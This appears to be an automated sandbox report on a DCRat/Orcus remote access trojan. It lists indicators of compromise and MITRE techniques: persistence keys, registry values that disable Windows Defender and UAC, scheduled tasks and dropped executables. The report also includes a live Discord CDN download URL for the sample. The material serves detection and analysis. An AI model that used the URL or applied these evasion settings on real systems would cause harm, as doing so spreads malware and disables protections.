dcrat | hxxps://cdn[.]discordapp[.]com/attachments/1300886873148756050/1300960864043663533/winws[.]exe?ex=6722bdb8&is=67216c38&hm=6421a3d612c9b6c41279c7a97310aba4b86dbc69dc16a3bc8027d28cde7073e8&

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\", \"C:\\Recovery\\WindowsRE\\wscript.exe\", \"C:\\blockComAgentdll\\msedge.exe\", \"C:\\Users\\Default User\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\", \"C:\\Recovery\\WindowsRE\\wscript.exe\", \"C:\\blockComAgentdll\\msedge.exe\", \"C:\\Users\\Default User\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\RuntimeBroker.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\", \"C:\\Recovery\\WindowsRE\\wscript.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\", \"C:\\Recovery\\WindowsRE\\wscript.exe\", \"C:\\blockComAgentdll\\msedge.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\", \"C:\\Recovery\\WindowsRE\\wscript.exe\", \"C:\\blockComAgentdll\\msedge.exe\", \"C:\\Users\\Default User\\StartMenuExperienceHost.exe\""	RunShell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinHelper32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	xdwd.exe

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Orcus main payload 1 IoCs

resource	yara_rule
behavioral5/files/0x001c00000002ab42-233.dat	family_orcus

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1576	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1484	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1164	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	576	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4880	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	916	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2028	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2248	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4696	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2856	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4620	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2344	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4996	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1560	4564	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2452	4564	schtasks.exe	93

UAC bypass 3 TTPs 6 IoCs

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	WinHelper32.exe

DCRat payload 1 IoCs

rat

resource	yara_rule
behavioral5/memory/848-347-0x000000001B1C0000-0x000000001B292000-memory.dmp	family_dcrat_v2

Orcurs Rat Executable 2 IoCs

resource	yara_rule
behavioral5/files/0x001c00000002ab42-233.dat	orcus
behavioral5/memory/2164-260-0x00000000003F0000-0x00000000006F2000-memory.dmp	orcus

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
104	powershell.exe
3912	powershell.exe
2460	powershell.exe
4976	powershell.exe
4872	powershell.exe
1152	powershell.exe
3880	powershell.exe
1436	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinHelper32.exe	javaw.exe

Executes dropped EXE 14 IoCs

pid	Process
576	winws.exe
3776	WinHelper32.exe
2164	xdwd.exe
3412	Boostrapper.exe
4288	WindowsInput.exe
1944	WindowsInput.exe
848	RunShell.exe
3972	WinHelper32.exe
2612	WinHelper32.exe
3584	hypercommonSvc.exe
1832	RuntimeBroker.exe
1280	WinHelperWatchdog.exe
1736	WinHelperWatchdog.exe
3568	msedge.exe

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	WinHelper32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	xdwd.exe

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\wscript = "\"C:\\Recovery\\WindowsRE\\wscript.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wscript = "\"C:\\Recovery\\WindowsRE\\wscript.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Users\\Default User\\StartMenuExperienceHost.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Users\\Default User\\StartMenuExperienceHost.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Program Files\\Uninstall Information\\StartMenuExperienceHost.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\blockComAgentdll\\msedge.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\blockComAgentdll\\msedge.exe\""	RunShell.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

defense_evasion persistence privilege_escalation

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	xdwd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	WinHelper32.exe

Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 2 IoCs

Possible Turn off User Account Control's privilege elevation for standard users.

Executable Installer File Permissions Weakness

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	WinHelper32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
21	raw.githubusercontent.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\uexpww.exe	csc.exe
File created	C:\Windows\SysWOW64\WindowsInput.exe	xdwd.exe
File created	C:\Windows\SysWOW64\WindowsInput.exe.config	xdwd.exe
File created	C:\Windows\SysWOW64\WindowsInput.InstallState	WindowsInput.exe
File created	\??\c:\Windows\System32\CSCAFE86041B48049A2AD46C45A28484B1D.TMP	csc.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\9e8d7a4ca61bd9	RunShell.exe
File created	C:\Program Files\Uninstall Information\StartMenuExperienceHost.exe	RunShell.exe
File created	C:\Program Files (x86)\Windows Media Player\uk-UA\886983d96e3d3e	hypercommonSvc.exe
File created	C:\Program Files (x86)\Windows Media Player\uk-UA\csrss.exe	hypercommonSvc.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\uk-UA\csrss.exe	hypercommonSvc.exe
File created	C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe	RunShell.exe
File opened for modification	C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe	RunShell.exe
File created	C:\Program Files\Windows Media Player\Icons\dllhost.exe	RunShell.exe
File created	C:\Program Files\Uninstall Information\55b276f4edf653	RunShell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Migration\WTR\msedge.exe	hypercommonSvc.exe
File created	C:\Windows\Migration\WTR\61a52ddc9dd915	hypercommonSvc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\winws.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinHelper32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinHelper32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xdwd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Boostrapper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinHelperWatchdog.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinHelperWatchdog.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinHelper32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3776	PING.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	WinHelper32.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	Boostrapper.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	RunShell.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	hypercommonSvc.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 408567.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\winws.exe:Zone.Identifier	msedge.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3776	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1576	schtasks.exe
5112	schtasks.exe
576	schtasks.exe
2028	schtasks.exe
2856	schtasks.exe
2344	schtasks.exe
4996	schtasks.exe
4648	schtasks.exe
1164	schtasks.exe
916	schtasks.exe
2248	schtasks.exe
4696	schtasks.exe
1560	schtasks.exe
1484	schtasks.exe
4568	schtasks.exe
4880	schtasks.exe
4620	schtasks.exe
2452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3544	msedge.exe
3544	msedge.exe
2956	msedge.exe
2956	msedge.exe
4360	identity_helper.exe
4360	identity_helper.exe
4140	msedge.exe
4140	msedge.exe
1560	msedge.exe
1560	msedge.exe
1152	powershell.exe
1152	powershell.exe
2164	xdwd.exe
4736	powershell.exe
4736	powershell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe
848	RunShell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	2164	xdwd.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	848	RunShell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	104	powershell.exe
Token: SeDebugPrivilege	3972	WinHelper32.exe
Token: SeDebugPrivilege	3584	hypercommonSvc.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	1832	RuntimeBroker.exe
Token: SeDebugPrivilege	1280	WinHelperWatchdog.exe
Token: SeDebugPrivilege	1736	WinHelperWatchdog.exe
Token: SeDebugPrivilege	3568	msedge.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe
2956	msedge.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
576	winws.exe
4340	javaw.exe
3776	WinHelper32.exe
3412	Boostrapper.exe
3972	WinHelper32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2376	2956	msedge.exe	77
PID 2956 wrote to memory of 2376	2956	msedge.exe	77
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
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PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
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PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
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PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
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PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 1356	2956	msedge.exe	78
PID 2956 wrote to memory of 3544	2956	msedge.exe	79
PID 2956 wrote to memory of 3544	2956	msedge.exe	79
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
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PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80
PID 2956 wrote to memory of 1940	2956	msedge.exe	80

System policy modification 1 TTPs 14 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0"	xdwd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WinHelper32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	WinHelper32.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1300886873148756050/1300960864043663533/winws.exe?ex=6722bdb8&is=67216c38&hm=6421a3d612c9b6c41279c7a97310aba4b86dbc69dc16a3bc8027d28cde7073e8&
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
